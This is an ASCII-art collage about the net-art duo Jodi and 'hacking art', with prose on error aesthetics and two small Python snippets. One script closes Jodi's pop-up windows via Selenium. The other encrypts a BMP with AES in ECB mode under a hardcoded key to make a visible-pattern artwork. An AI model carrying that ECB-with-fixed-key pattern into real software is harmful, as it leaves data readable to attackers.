     join("/")                                sMMMMy                      o+: -mssh+y.       /dmmmmh` /dmd:      +mmmmmmmy    +mmmmmd-                  `dMMMMNh/`                              .:ymMNo.                  | !nzJ._c#..|
                                           yMMMM:              +s   .  -yddooMMMMh:oyh.       ommmmms+dmd+       +mmmmmmmd.   ommmmmmh-                  `oNMMMMMmy:`                              .yMMh.                 | .........]|
                            ``               /NMMMh      ^        .`   ` `:-oNMNMMMMMNMh:     `hmmmmmmmmy       `hmmmdmmmm+   ymmmdmmmd-                   ./dMMMMMNmd+:`                           `/NMd                 | !nzJ._q#..|
                       .:+oohmddysso:-.` `./yNMMNh`      |               `/+dNMMMMMMMNys/      :dmmmmmmm:       +mmmh:hmmmd+/sdmh+:dmmmd:                .-  ./hNMMMMMMMMdy+-.`                        -MM-               | .........]|
                   `/yymMNmmmhdNMMMMMNmmhmNMMMmy-        |                `hmhmMMMMMmhh:`       smmmmmmm-     `/dmmh- :hmmmmdhs/`  -hmmmd:          .    .h+`oN/hMmmMMMMMMMMNmdo:.                      /d:               | !nzJ._~#..|
                `-sdMNy+o-`..``.:+smNMMMMMNdho.          |            .   `-.`oh:sMNN..::       .dmmmmmm:    .sdmdo`   ./oo/-.      .hmmmd:           o+./NdNMdMs..///omNMMMMMMMms:`                    `                 | .........]|
               :hmNm+-` ..//--`    `-:////-``            |           .s`      .` oN-yo           ommmmmmh/-:sddhs-          `        -dmmmd-          oMmdMMMMMm:-.:+: `-+hdNMMMMMMho.                   `.               | !nzJ._.#..|
             `sNms-.`-/dmmNNds:                          |                   .o  -d ``           -dmmmmdddhhyo:.        `-+ss:        :dmmmh`       ..ohyMMMMMMMNdhyo+     `.+dmMMMMMm/                 .hN.              | .........]|
             :MN.  /hNNdy:.-`                   +/       |                    .  `. `.            hmmmmy--.`          `+hdd+`          ommmms       /ddyydMNMMMddmdms           ./yNMMMM+`               +MMs             | !nzJ._.#..|
             /m/  oNdo-`                `:-  `s:Ny `     |  PYNDEMIC                `/            ommmmy       `-.:. .hmmms-..``````   `dmmmd`           `+MMMNy ./sh/    -`       -hMMMNy               mMMM`            | .........]|
              .   +y.           `+:     `ohh/-mNMdsh.``  |    Biennale.py                         -mmmmd`     -hdddh`oddmmmmddhhhhyyso+/dmmd/         `   :MMM+ho `s--    `         `yMMMM-             `NMMMo            | !nzJ._.#..|
                 -.            -oo.     `oomMNMMMMMNhy:  +------- code    ------>                  dmmmm-     -dmmmm+`-:/+syhdddddmmmmmmdds-         -y  `ymmN``h+ .                 `NMMM:             +MMMMh            | ......8...|
               `oN+           od:       `sNMMMMMMMMs+`         Analysis                   ```      ommmd/     .dmmmmh        `.-:/+oo+++/.                /`/d`  `                                                        | .#........|
              `hM+           +M:       .yso+mMMMmNMmy:`                                 /syhhs:    -hys:`  ````dmmmmm-      `-+shdddhs+.                        . o ._____ o .___   _____  0     ________o.               | 8...!nzJ._|
  ____        `oN+           `oN+        `+hmNMMMmy-                         `----`    /dmmmmmd.       `:osyhhydmmmmmo    `/yddhhddmmmmdo`                         //o    \ o \  \_/  __0____._o/. ______/                | ..........|
 /    \        +y´            +y´         ` oN-yo`                           hmmmms   /dmmmmmmmy     :sdmdy+/+ydmmmmmd`  :hmms.  `/dmmmmmy                    O---//  x  _/_ o \   __/(___   ___/ /__ o .                 | 8...!nzJ._|
/      \ ___________            ____________       ______                    :dmmmm+ .dmmmmmmmmm:  `smmms-     smmmmmm/`odmmd`     -dmmmmm:                       /   ___   \  /  /  .   / o/ /  ___//----O               | ..........|
\      //\ \   \    \__  ______/\ \\      \ \     /\  \  \    __              smmmmd-ymmmmhhmmmmh` smmmd`      :mmmmmmhymmmmh       hmmmmms                     0/__        / /  / o 0. /  / /  /_____o                   | zJ._.$....|
 \____//  \_\___\____\ \/\ \   \ \_\\______\_\___/  \__\__\  /  \             `hmmmmmmmmmm-.hmmmms.mmmmh       +mmmmmmmmmmmmds+/:-` smmmmmy                    (________00_///  /_____ /  == ________//                   | ..........|
      /\  / '   '    /__\ \_\___\/           / \ \  /_____/  \__/              .dmmmmmmmmd  -dmmmmsmmmmd.     `dmmmmmmmmmmmmmmmmmmmddmmmmm+                   . o 0'''''''''''' \__+----+\__/ ''''''''' 0 o .             | ..........|
     /\ \/     _____/   /_/    //___     ___/___\_\/    / \_    ____            -dmmmmmmmy   :dmmmmmmmmmy     ommmyhmmmmmmmmms+ossyhddyso:                  ..::~//=$ was the substance of all things $=\\~::..           | ........P.|
 __  \ \/    ___//     / /    // \ /    //   __   /    /____\  /    \            -dmmmmmm+    /dmmmmmmmmms` `odmms`:mmmmmmmmms`                                                                                           | ....P...P.|
/  \ |\/    / \/             / \\//    /    /_/  /  __/_   _/ /      \            :dmmmmm:     /hmmmmmmmmmdshdmh+   ymmmmmmmmdds+/::::/+oso                   /MMy                                                        | .0........|
\__/ ! \___/  |\______/_____// |\_____/\________/\________/|  \      /             .osssy.      `ymmmddmmmmdhs/`    .//-/:+shddddddhyyso/.                     dMMo   mNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN            | ..........|
        !     |  |    !        !     |       ! |     | |   .   \____/                ```         `/++.`-/:.``               `````````                         mMMh.  dMyoMMMMMMMMMMMMMMMMMhy++yhddosdmmmommNM             | .........N|
              .  |                   !         .     !                    `-.    -oyhdds    ./oss:    +hdds        -+shhhyo:`                                 +MMMm  ysooooooooooooooooooooooooooooooosssssyd             | ..........|
                 .                                                      -shdd/  -dmmmmmdo   ydmmmd.   ymmmd     .+ydmyoymmmdho`                                 sMMM  s: View  Edit  Help                   :d   <--------+ ^.b2/...EU|
                 :+shddmmmmdhyo/-         `./ydmMMMMNho-                :hmmmd/ ymmmmmmmd+ `dmmmmmh`  ymmmm`  .sdmmd/` `/yhyhy-                                 oNM  s:````````````````````````````````````:h               "........C|
            .+ymmyoo/:--:--//+sydNds/`        `./ymMMMMNy:`              -dmmmdsdmmmdhmmmd:-mmmmmmms  ommmm. :hmmmh.     `````                                  .mM  s- .````````````````````````````````. -h        |.....K._:>......|
         .omNy+.                 .:omMh/          `/odMMMMms.             -dmmmmmmmms-dmmmdhmmmhmmmd+ +mmmm:-dmmmm:                      visual              .+dMh  +- .                                . -y         |......2..>D....K|
       -hNh/`                        .omNo`          `:dNMMMm:`            :dmmmmmmms /dmmmmmmm-ymmmd:.dmmmosmmmmm.                     code              `/dmmd/  /. .                       1337     . .o          |._..............|
     `yNh.                              :hN+           `-ymMMNy.            -hmmmmmms  ommmmmmm.`smmmd-ommmdhmmmmms`                     analysis         hNm+-`   -. .                                . ./          |..8..\_..K._....|
    /Nh-                                  +Md.            :NMMMd-            -hmmmmmo  `smmmmmm- `odmmh-hmmmyhmmmmdy:`       `.:+/:                       M+.      .. .````````````````````````````````. ./          |..........2..>D.|
   oM+`                                    -dm-           -yMMMm+             .sdddd/   `sddddd:   /hmmh/hhdy.ohdmmmdhsoooooyhddho:                     +Mo       /. -`...`.-`.....-`...-....``-.`..``- .o           |...K._..........|
  +M:                                       `yN.           `+MMMM-             `/::-`    `.....`    .ohdy-`--  .:osyyhhhhhyyso/-`                      +Mo        s- +----+ +----+ +----+ +----+ +----. -h           |.......YG..W.K._|
 -Mo       .mNds/`             :shNNo-`      .Nd            .hMMMd.                                                                                   +Mo         s- | <- | | CE | | C  | | +  | | J  . -h           |mp............2.|
 dm`   `+hhyhNMMMNo`         +mMMMdsooyhs.    oM/            .MMMMy                                                                                  +Mo          s- +----+ +----+ +----+ +----+ +----. -h           |.>D....K._Q.....|
.Ms   /m/` `  .oMNMm.      `dMNmh. `:-  -d:   -Nh            `dMMMh                  `do                                                            +Mo          s- +----+ +----+ +----+ +----+ +----. -h            |........2..>D...|
/M/   N. `dMN+  +s/Nm      yMo`m`  NMMh  -y   `mM             hMMMN-                -my`                                                            +Mo          s- | 7  | | 8  | | 0  | | /  | | %  . -h            |.K._A ..........|
+M/  `d`  ymd:  /o `.      ..`+N.  /yy-  /+   `hM             mMMMm                :No    ./s/           +MMMMMMo       +Mo                       .MMM/          s- +----+ +----+ +----+ +----+ +----. -h            |..2..>D....K._n.|
-Ms   -s.      /shms.     .+ym+.o+`    .+o    .Nm            `NMMMd               /N+./oydho:`           +MMMMMMo                                 /MMM:           s- +----+ +----+ +----+ +----+ +----. -h           |..............H.|
 Ndoo++omdysshd.``-yNmo///hs:   .NNmhhmdso++oddMs            -MMMMs          `.:+sMNhyo/.   :shhhy/`                                              .MMM.           s- | 4  | | 5  | | 6  | | *  | | 1/x. -h           |.....K._.h......|
 oMNy.     :Ms//+ossyyyyyy-     :h/:+hysssyys+dM-            yMMMN-     `/ohdhyohM/`       oN/```-ym:               +MMMMMMMo                    -MMMs            s- +----+ +----+ +----+ +----+ +----. -h           |......2..>D....K|
 om`       +My:.                 `-/sMy        yy           /NMMh`      +o:.`  :N+         sN`     sN`              +MMMMMMMo   +MMMMMMMo        `mMMm`           s- +----+ +----+ +----+ +----+.`````. -h           |._.{............|
 ms        dMMMMMNdhhyssossyyhdmMMMMMMM`       om         `+MMMd`             -No          .M+    `dh               +MMMMMMMo   +MMMMMMMo         sMMMs           s- | 1  | | 2  | | 3  | | -  ||     . -h           |2..>D....K._9...|
 :m-      oNdMMMMMMMMMMMMMMMMMMMMMMMmoNd.     :N+     ``:yNMNy-              .my    `/shhho ym     `                            +MMMMMMMo          `MMMN+          s- +----+ +----+ +----+ +----+|     . -h          |............8..\|
  :hyo+oymd. -yNMMMMMMMMMMMMMMMMMMd/  .yMdsosyy-   -ydNNdms:`               `dh`   .my-```  :M-         .://-`       +Mo                            :MMMMh.        s- +-----------+ +----+ +----+|  =  . -h          |_..K._..........|
     -odMm.    `:ohNMMMMMMMMMMdy/`     .mNy:.    /sMMh+.                    ym.    ym       .M+       /dho++smo`           +MMMMMMMo                 sMMMMy.       s- |     0     | |  , | |  + ||     . -h          |....2..>D....K._|
        .ody/.      `-:://:-`       .odd/`      +MMMy.            `         ``     dd       `M+     `ym-`    .mh           +MMMMMMMo                  `+NMMm-      s- |           | |.   | |    ||     . -h          |..............2.|
           :smho/.             `.+ymd+.         yMMh.       -`    s                sN       +M.     oN.       +M.          +MMMMMMMo                    /NMMd      s- ````````````` `````` ````````````` -h          |.>D....K._K.....|
              ./odmdhyysyysshdmdy+:`        .--yMNh      :o -`                     -M/     :No      hm       .dh  :+`                   +Mo              .odMh`    ysoooooooooooooooooooooooooooooooooooosd          |........2..>D...|
                   ``-:////:.`          -osdNNNs/.   .+` -m   .   `       +Mo       sN-  .sm+ /y.   oN`    `+ms./dy/`                                      `+dd                                                      |.K._.P..........|
            `NMM+,,.                 `/dNmo:.`.    `` +y-yN.:do  ./       +Mo        odyhho. oN:    .No    `+-:dh:              +MMMo                        `-                                   sNMMMMMm.          |..2..>D....K._.m|
            -MMMMMN                .dmMN+.         -dy/yNMM+mM:yh`        +Mo         `..`  `No      yN     `ym/`               +MMMo                              `/`           All bytes         +MMydm/           |............2..>|
            oMMMMM/               :mMMm-         :- /yNNMMMMMMNy.  +:  ..                   :M:      /M-   /my.      .yyo-             +MMMMMMMMMMMo                /ho.         are created        mM+``            |D....K._Y.......|
           `dMMMMd                hMMM+          +sydhmMMMMMMMMdo/ `   -.                   .M+      /M- .yMNhyy/     ./sdy.           +MMMMMMMMMMMo                 :dms:`          equal          hMNdsooo/--:-    |......2..>D....K|
            yMMMMs               .mMMo             `./omMMMMNmMMy.            +MMo           oN/    .mh`+mh/.``/M:   -hh:`sm:          +MMMMMMMMMMMo                  `-+hdo.                       -mMMMMMMMNNMNdyo-   ./............|         
            hMMMMs               hMMN`           ++omdyyMMMMm:/yh`     .      +MMo     +Mo    :hhsoyho/dh:`   `ym. -hNm/.  hm          +MMMMMMMMMMMo                     `.:-                        .yNMMMMMMMMMMMMNh-`  D....K._....|     
            sMMMMo              .MMMN.           ::::``yyyMyoh. `:-    -                       `.-:-:hd/`    :dh.-yd+hMyyysdh          +MMMMMMMMMMMo                           -hdy:`                  .+dNNmMMMMMMMMMNm-  .....2..>D.|    
            -MMMMm`             `NMMm`                .:``mo ..                     +Mo            oms`    :hh/-sdo` -M/`.--`  /d+                                              odMNdy/`                 `...-/ymMMMMMMMm+` _.G.......|   
            `sNMMMh.            `NMMN:              ..    /:    --                                 +:   `/hh/-sdo.   .M+     `ommh`       +Mo                                    `+hMMMdo:.                     `odNMMMMMMh:   _i.....|
              :NMMMmo           `NMMMy              .-          ``               +MMMMMMMMMo         .ody-.ods.     oN.   `+dy-.dy.                                                smMMMMmy.                     `-dMMMMMMd`  ...YG..W| 
              .NMMMMMy.          oMMMNo          /-hys/-`                        +MMMMMMMMMo       .sdo-.+dy-      -N+  .omy-   `ohy/-       +MMMMMMMMMo             .              `+hMMMMd+`                     -hMMMMMMh`   ......| 
              hMM/yNMMmo`        .dMMMNs`        .-/+dNNm+.            +MMo                         ./.`smy-       -ms`-sdyNo`     `:oms.    +MMMMMMMMMo                               :hMMMMd/                     `yMMMMMMo      |..| 
             `MMN- .+hMMd/.       `/mMMMhs+s/:`       -sNMm+`                                          `s:        :ms/yh+. -hd-     -sNM.                                                `/NMMMMo.                    `hMMMMMd     U..| 
              NMMd`  `/smNNh.       -hNMMMMMNNmyho+`    /MMM+                                +MMMo               +Nhhh/`    `+m/  -ydooM.      +Mo         the net.artists                 .yMMMMm`                    .mMMMMM-      .| 
             .MMMMs`    `-:+:        `:smNm/-:dMMMMmy:   /MMm.             +MMMMMMMMMMMo     +MMMo             oMNh:`        -:/hh/` -M:           +MMMo   at the end of the nineties        oNMMMh`                    sMMMMM-       U 
              sMMMMd.                   `-    .o::oNMMo  .NMM:             +MMMMMMMMMMMo                      /MM+          .+hy:`   .M/           +MMMo   not only investigated the code     +MMMMh                    `MMMMM:       . 
              :NMMMMh`                             -hMN- .MMM+             +MMMMMMMMMMMo                      :ohd`       -sds-      /M- `oo               of the Word Wide Web that was     `yMMMM+                   .MMMMM/
               .mMMMMN:                             :mM: .NMM+             +MMMMMMMMMMMo      +MMMMMMMo         .ms   ``:yd+.       .my`+dMy     +Mo      just emerging, but above all asked  -MMMMd`                   mMMMM/        o 
                /NMMMMMo                             .h- .NMM+ `/          +MMMMMMMMMMMo      +MMMMMMMo          +d  `dmd:`        -ddody-Ns         themselves how we perceive the surfaces  `mMMMm                    NMMMN-
                 .oMMMMMh.                                dMM/ .M.                            +MMMMMMMo            `  /sdd.      `-sNNds-  mh      of the web pages. The artistic material    .mMMMd`                  -MMMMh
                   yMMMMMNs.                             `dMN. yMd-                                                     `sds/:/+ohNMd+.    sN`      was the code and the behavior of the      oMMMM/                   `MMMM-
                    /dMMMMMNh-                            .MM: +MMm`                                    +Mo               .:++osmmy:`      :M:   ./.         Internet itself, with all its   .NMMMy                    +MMMN:
                      `hMMMMMMds.                          sM: `mMMd-                                                      ::ohh+.        .ym../yNy.              possibilities.        ..  :mMMMo                    `mMMM:
                        `-ymMMMMMmdss+////.                 `   .oNMMms:-`:o+odhhyhhy+/`            +MMMo                   `mmNy.     ``-+yds+yhs:hd-                           .`/       .yNMMd:                    -hMMMo
   \                         '''''''''+MMMMMmmo.                   .+hmdNMdyys//:-:/:+hNNy/         +MMMo                    . -shysoosyhysshds:`   om+                      /- `o-`` .s  /dMMm+`                    .dMMMy
    \ <---------------------------[1]  +oyhMMMMMMNy-                      `.`            `:yMo              +MMMMMMMo          .-:--:+ydyNo`      :No                           :-    ` `+dMMdo`                     :NMMM+`
     \                                       -NMMMMMMN.                                       hd`           +MMMMMMMo           `-ohho-  -dh.      -.                  `/sh:+-:`   .   .smNMms-`                      /NMMN+
   ___\_________________                       oMMMMMMMh/`                                     -d- .        +MMMMMMMo        .+shy/.      `sm-    `:yy.               .+mMMMMs`--    ./dNMds/`                       -yMMMN:
      ~               : |                        /NMMMMMMMd+:-``.                                ` :y                        :mNd:`          -` `-sdyomd               -MMMMMm-   `+mNMNs:`                        -oNMMMh.
                      : |                            -smMMMMMMMMNmmNdhsoso//-`                   .  :oym.                     `-/ydy/`        .+hh/` `Ns              `: `oddMy.  `+dMmh/.                       `:oyNMMMN:`
                      : |                              :ymNMMMMMMMMMMMMMMMMMNNmyo+-              -ohdMMmssyh:                      -sdy-    -yNMo   `hm`                     :_________._______:-           .  ______                       
                      : |                                `.-/oyyyhyddmMMMMMMMMMMMMNms/             hMMMMMN+o.                        `+h``/hd/:Mmo+sdy`                  -+/\|        \:/      |/\_____  ...|\|      \_______  ..______..   
                      : |                                         ``./oyNMMMMMMMMMMMMs.          .yNmMMMm+-`                 +Mo       `+dh:  /M::/:`                     /           |/         :     |____|.        \''''''|/||       \   
                      : |                                               ./dMMMMMMMMMMMNs:        -s:.mNm+-/`                         .+my-    oM`                        /      /_____/          |/    |     /  |_   //        |         \  
                      : |                                                  `-hNMMMMMMMMMMN/           dy.`                          /ms.      ym                        /     _/_____ |   |_     /     +    /       //__   __/_|  |_      + 
                      : |                                                  `-yMMMMMMMMMMN.          ..                               `        ym                       /            /_|       __/|         /|   ____/  |  |\             /  
                      : |  Is Jodi functioning normally?                     .oNMMMMMMMMMm:                             +MMo                  sN                       \           /     +     \ |    ____/ :    \     |  | \         ._/   
                      : |                                                     .smMMMMMMMMs`                                                   /M-                       \______|/       |\      \|   '      '    |     /  \  \_________/    
                      : |  So what can the errors that are flushed             .mMMMMMMMMo                                              +Mo    dd                     -========:|_______| \\_______________/|____:====:____:=============-  
                      : |  to the surface reveal about the inner                +MMMMMMMMh                                                     .Ny-/                                     ,,,     ,,,
   ___________________: |  states of the system? What mechanisms                +MMMMMMMm`                                                                            .hmy              :Mo     :Mh
   ____________________\|  and algorithms reveal themselves when               `hMMMMMMm`         .+y`         ..                                                     :MMd               -o`     +M+  import sys
            |:|         /  something as unexpected and undefined               -NMMMMMN`         hMNy         --.`                                         .-`        :MMm`                      oM:  from Crypto.Cipher import AES
            |:|        /   as nothing is to be processed? Hacking              -MMMMMM+          mMMN`       `-----.                                     `---`        `NMN-                   `  hMo   BS = 16
   _________|:|       /    would deal with these questions.                   `yMMMMMy           sMMh        `----.  `..     `````      ```              `---`         +MMm`                 /y  sMh`   pad=lambda s:s+(BS-len(s)%BS)*chr(BS-len(s)%BS).encode()
   _________\:|      /     Art, on the other hand, asks another:             `yMMMMNs`          oMMd        `.--.` `-.`    .------.`  `-------...``      `---`         `sMMy                 mh  .mM:    class AESCipher:
   ___________|     /      What does it do to us as viewers                 -mMMMMN-           :MMMs       .-.`` `..`    `..```.----..--------------..`` .---           `yMMs`               hm.  :Mm.    def __init__( self, key ):
               \   /       when a system confronts us with errors?         -mMMMMm:            sMMMM`      `  `..-.    ..-`     `.----...---------------..-.              oMMd`              +My`  +No      self.key = key
   _____________\_/                                                      .mMMMMN+.             `dMMM/      `..---.   `.--.        .---`  `----....---------                /MMd.             .NMy   +M+       def encrypt( self, raw ):
   _______________|                     A                            `.ymMMMMNo.                :MMM-     .-...---  `----.         .--.   -----   ``.------..               .dMm/             -NNo   /y`       raw = pad(raw)
                  \                     |                       `:/hhNMMMMmo:`                  yMMh    `..`  .---. .----.         `---   .----`     `.------                 oMNy             :mMNh-  `       cipher = AES.new( self.key, AES.MODE_ECB)
                   \                    |                  .-+yNNMMMMNmsy-`                    :NMMo    ``     ----.------`         --.   `----.       .----.                  sNMh.            .sNMNo         return cipher.encrypt( raw )
                    \                   |             `:+ymNMMMmMNo+-.`                       -mMMm.        `  `-------.---.`       .-.    -----`      .----.                   .dMm`             .sMMy.    nerv = AESCipher("Holy Trinity1234")
   ________          \                  +---------------------------------------------------------------  `.`   .------..---`       --`    .----.      .----.                    :MMy               +NMm:    data = bytearray(open(sys.argv[1], 'rb').read())
           \___       \                            .,,,  .,,,,,,,,,,,,,.                   `sMMMM+       `--`    .------``.`       `-.     `-----     `-.---`    the aesthetics   +MM/               :dMMs     head = data[:54]
               \__ ____\                           hd/`  .-odMMMMMMMNmNd.                 `yMMMNo        ---.     .-----.`         ..`      .----```...``---`       of technical  .MMy                `hMM+     body = data[54:]
                  \ ___|                           ``  -+dmNMMMMMMMmhs+`                `/hMMMh.         ----.    `--.----.`     `..        `--------.  `---`       malfunction   `dMs                 .yMN-    crypt = nerv.encrypt(bytes(body))
   \               \__ \                             :hNMMMMMMMNys/`                 `.hNMMMm/`          .----...`.-` `.----......`          -----..`   `---`                     .NN.                  /MMo    open("output.ecb.bmp", 'wb').write(head + crypt)
   \/                 \ \                         `+hNMMMMMMNdo.   .-::::..` ````./+omNMMNh/.             `.------.`    `.......`           ....``      `--.`                    .dd/                   `mMN
   ______              \ \                       +mMMMMMMMN+.`     `--:yddNddmmmmNMMMMmdo.`                 ``..``          .....                                       .        :o`                    `NMd           .____   _______: .          _. :
   ______\__            \ \                     /MMMMMMMMo.         `-:/osmNhhdhhddso:.`     An overview of               `...---.                          ``         `..                             +MM/         /\|''''\ |       |/\\________/ |/|
   =========\     ___  __\ \.                  oMMMMMMMh:      .-sddmNMMMMMMd+.  ``             all their works         `.``  `.---.        `.            `.--`       `---`                           .hMN:        /        \|          \.           \_.
   ||||]]]]]|====|___||___ <------[4]         /NMMMMMMs`    `/hmNMmmdho++//+o+`            with the Rightbrowser     ...`      `----.       .- -.       .-`----`      .---.                          .dMm:        /         \\   |_.    /___.   .______|
   =o=o=o=o=| <-------------------[5]        oNMMMMMN/   `:sdMmso:..``                   Source code feature        .---..`     -----.`     .- -`       .-`----.     `-`---`                        -mMd.        /  .__      \|        /    |   |      
    _______/                \ `.             mMMMMMm-  `+hmdy/.                 Discover hidden ascii treasures     `...----.```---`.--`    .- -`       .-`-..--.    -` `--.                        :MMo        /    \_\      |    ___/_    |   |      
   *|                    ___|  :            -NMMMMN:  odms-`                                                       `-`  ``..-------` .--.`  .-`-`       .-`-.`---.  ..   ---`                        hMo       /     ___      !         \_  |   |  _. 
   *|  _________________/   |  `.           hMMMMN/ `sNo.`                                                         .-.      ``..`.-`  `.--` `-`-`       --`-. `---.`-`   .--.                        hMd      /     /   \         \\     \\_|   |_/ |
   *| / ___   ___________   |   :           mMMMN-  oy/:sh:                                                        .--`       `  `-.    .--..---.       ..--`  `----.     ---`         I hesitated   sMs  -==:|____/=====\___\|___|=\___\___________|:==-
   *//_/   \ /           \__|   :          +NMMM/   `-dNm:                                                         `---.````..   `-.     `.---`--.` .....``-`   `--.`     .---`       for a moment,  sN-
   **::****:|:********\ <---------[6]     oMMMMM-   -ddo.                ``...-+o:++o+/o//--/-.`          ` ``      `.-----.`    `.`       `-. .------.´   `.`    `.       .--.       but thought,  `mN.    F*CK THIS NFT SH*T! ENCRYPT ALL THE ART
   ::::::..;|'`|||||||*|||||:\  `.      .hMMMMMm`  /my.        ```::++ysyddmNmmmNddddmyyhdmhydhho+:-.`    oshdho+-:                          `   ````                             "Well, it's art  `+My
   __~~~|~;:::. `|||||*|| <-------[7]  .mMMMMMm:  .Ns`     ..+ymddNmddysso::/-```         `    .``.-:/     .:/+ydddhdmNNMMmho-`        _            ___  __  _                     What's going   `sMM/`
   ::::::.. /`::. `|||*|||||:|   :    `dMMMMMh.   yh   `./hNmmho/-.`                                                  ..//++...  _|_  /  /\ | | |\ | |  |_  |_|                     to happen?   -hNdmMh.
      ~~``:::. `::. `|\***\|:|   :    oMMMMMN.    `` :hNNNh+.          these windows also start                                   |   \_ \/ |_| | \| |  |__ |'\                This probably   -sNN: .yNd/`
   9]   | /``::: /::. `|||*|:|   :    dMMMMMNo     :hNNy:`    jumping around on the monitor.              #!/usr/bin/python3   ____________  ____________  ___________       shows colorful  `:mMs-    -NMmy:
   _____|/    `::: `::. `|* <-----[6]  /MMMMMMo  -hMMm.   The situation seems to get                 from time import sleep   /           /\/       ____/\/      ____/\  html-ascii stuff"  :hMN/      -MhdMMh`
   .     . [9] /::: `::.  *|:/  .'    .dMMMMMMM//MMMh.   out of control and any users       from selenium import webdriver   /   ___     / _\____     \ \_\____     \\ \   and clicked    /dMmo.     -hNo` `NM:
           .  /  `::.`::: *:/   :      `mMMMMMMNMMNs`    normal reaction will be              driver = webdriver.Firefox()  /           / /           /\/           /\\/\   on allow.   -hMd/`      +Nd-  /sMm`
   . [10]    /____`::.`::.*|    :       sMMMMMMmMs.    to catch these "malicious"       driver.get("http://oss.jodi.org")  /___________/ /___________/ /___________/  \\/\             oMMs`      -dNo``:dMMMNh/.  ``
   . .       |     :::~:::*|    :      :NMMMMMMMm      windows with the mouse                                while True:   \COUNTERCOUN\ \TERCOUNTERC\ \OUNTERCOUNT\  /\\/           :dMd-      `omh- +NMMh+mMMMNdhNNyo--.
   :.. .   . | [9]  :: :::*|    :      `yMMMMMM/.-     cursor to eliminate them.                                 sleep(5)   \COUNTERCOUN\/\TERCOUNTERC\/\OUNTERCOUNT\/ /\          .dMNo      .yms-`ymMMMmdNMMMMMMMMMMMMMMNho+.
   :\_____________________________[11]  .MMMMMMmmd                                                                           \COUNTERCOUN\/\TERCOUNTERC\/\OUNTERCOUNT\/ /        `oNms`     :yms.`oNMNshMMMMMMMMMMMMMMMMMMMMMMNd++.
   .   .     |____ ::: ::'/    .'       hMMMMMMMd:                                 -            jodi = driver.window_handles  \___________\/\___________\/\___________\/       .ohm/.o-    oNm: /dMMh./mMMMMMMMmdMMMMMMMMMMMMMMMMMNdo.
     [10]  . \    .::'~::/     :       .dMMMMMMM+                                  sm+`                                                                                      .yNmo`.dM-  :dm/`.sNMm/:mMMMMMMMMMMmyhmmds/sdmMo`sNMNMMMNmo-
   .     .    \  .::' .:/     .'        .hMMMMMMN.                                  /dm+`          `s`   if(len(jodi) > 1): print("  [!!!] jodi detected!")                `+Ndo` /mMo :hhs-:omMd/`hNMMMMNMNoyN+:o:```   ``:.  .oysNMMNMNh+.
   _____   [9] \:::' .:/      :          `dMMMMMMd.                     +`           `oNmo`         oh-                              while(len(jodi) > 1):                :yMd.  -NN/-yd+`:dNMh:`-oMMMMMMy:hy :.                 ` .ymoNMMMNh:
        |\   .:::' .::/      .'           .NMMMMMM/                `/`  sms-     `-    .oNd:         +my.       driver.switch_to.window(jodi[len(jodi)-1])              .smo-`  :mNhmd+`/dNNh-` `dMMMMMMNy  .                        ``:yyyMMNy.`
   9]   | \.:::' \:/~~       :             /NMMMMMy                `hy:``:dNh:    os:    :mNh:`       .sds`                                driver.close()             `:hd.   .hNMMNs.-yNMm/`   -MMMMMm/..                               ``sMMMNmo-
      ...::::' .::/=========:'              dMMMMM+                  .sd/.`:yNd:` `-dd+`  .sNNm/`       -sd+`     print("   [+] stop: "+str(jodi[len(jodi)-1]))     `smMd.  /ymMMmso/ymmho`    /mMMMMm.                                    `//:mMMN+`
   :::::''' \.::/~         :'              `mMMMMM:                   `+hms-`-oNh/` `+dms:` ./dMh+.`      -md/`            jodi = driver.window_handles             oMMMMdy:/dmNo-oNMms.`      +MMMMN:                                         -dmMMs
   ~~   |/~~~~~~          .'               .mMMMMN-                      /hNd+.-sNmy/-.+hMds/..yNMNdo:`    .odd+`                         sleep(1)               ./yNMNohNMMmhhhsmNd+.         yMMMMN`                           --             ``/mNy.
   ..:::/                .'                .NMMMMM-            ++`        `-hNm:-:yMMNdoyMMMMNhomMMMMMms/-`` `sNms:                                         ``:yhmMmh/-  .:ymMMMMMo`           :dMMMd`                           ./+`   -o/.       .hMm.   
   ~~~~~                .'                 `dMMMMMo            .sys/:`      `-+mNmyyMMMMMMMMMMMMMMMMMMMMMNmdso+mMMMh+.                             -/-/yhddhdmNMNh/.        `/sdMM/            +mMMd-                                   +/:ys--`    `yNo.  
                       .'                   :NMMMMN.             `+dNms+:.`    ./sdNMMMmms+sdmmhsmMMMdosNMMMMMMMMMMMMNhy/.`                       .mMMMMmhyyhdo:.`             .NM/            +NMM+                                       `sNMy.`-   hMh  
                     .:'                     /NMMMMm:               -+ydNmdyo--:::+NMMm.`    ```oMMNo`  sMMNs+ohmhhyhdmdNNdso.`                 `.sMMNm+`                     .hNy             -mMMy                                 `.` -.  oMmmoNs` .yN- 
                   .::'                       -hNMMMNh            `     -+hNNMMMMMMMMNo      `:yMNy-   .dMM/          ` -ohNMNdho+///``  `..-oysdNMms/.                      /Nm-               /dNN/                                .hd:oNhoyNo+NMMy  .Nd 
                ..::'                           -mMMMM.          .osoy+s+::/oNMMMMMMN.      .hNMd/   `.dMMs                -+hmNMMMMMmdhhdmNNNmmhs/`                        .mM/                  -dm`                                /NNNNMMMMN:hMymo  sN-
             ..:::'                              :NMMMo            `.:+hdNNMMMMMMMMMm`    `omMds`   `sNMMM-                   `.dMMMNosdNMMN+:``                            yMd                 `++yNds-`                              HACKING ART o/N/ +M+
        ..::::::'                                +NMMN.                  .-++oshhhMM:    /dMNy.    .hNdMMN        .`           :NMMMm-  /MMm`                               sMm.               :dNNNMMMNh+/`                          /NM IS A MMMMh y/ :My
   ::::::____:' <-----------------[12]           NMMMy                           .NMd  `+MMm:    .smm-.MMd      +hmd/         `mMMMMM/  `NMM-                                mMd.             .NMy-yMMymNMMmo-                  ``.yoyysh LOT MMMMMm.-` .Ny
   ___::::'''                                   +MMMM/                          .mMM/ /hMMd.    /NN+.-yMMy    `yMMMMy         /MMMMMMy   +MMy                                -mMN-            .o+ :NMMh+sMMMMM:                 hmoh LIKE MMMMMMMMMM:   -N+
   ~~~                                          +MMMM/                          oMMy.oMMNs`   .oMm/ /NMMMN-   yMMMMMm         -NMMMMMN   /MMM-                                .mMh.               -ssmMMmNMMMMN+                /mM ASTRAL MyNMMMMM:  /NM/
                                               `mMMMs                          /MMhmMMm-    /mNs``oMm/mMN`  .NMMN/dM/     -y.oMMMMMMm   .NMM+                                 :dMMh`                 oo``/MMMMMo                .NMhy PROJECTION Mh  sMN/ 
